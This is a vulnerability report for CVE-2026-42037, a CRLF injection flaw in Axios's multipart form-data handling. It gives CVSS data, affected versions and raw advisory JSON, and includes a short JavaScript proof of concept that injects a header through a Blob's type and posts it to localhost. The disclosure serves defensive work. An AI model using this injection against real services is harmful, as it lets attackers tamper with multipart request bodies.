Security Vulnerability Report
中文
CVE-2026-42037 CVSS 5.3 MEDIUM

CVE-2026-42037

Published: 2026-04-24 18:16:31
Last Modified: 2026-04-27 19:54:57

Description

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios >= 1.0.0, < 1.15.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const axios = require('axios'); const FormData = require('form-data'); const { Blob } = require('buffer'); // PoC for CVE-2026-42037 // This demonstrates CRLF injection in the "type" property of a Blob async function exploit() { // Create a malicious Blob with CRLF characters in the type // This injects a fake header into the multipart body const maliciousContent = 'Hello World'; const injectedHeaders = '\r\nX-Injected-Header: pwned'; const maliciousType = `text/plain${injectedHeaders}`; const blob = new Blob([maliciousContent], { type: maliciousType }); const form = new FormData(); form.append('file', blob, 'exploit.txt'); try { // Send the request using the vulnerable Axios version const response = await axios.post('http://localhost:8080/upload', form, { headers: { ...form.getHeaders() } }); console.log('Request sent, check the raw request body for injected headers.'); } catch (error) { console.error('Error:', error); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42037", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.543", "lastModified": "2026-04-27T19:54:56.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}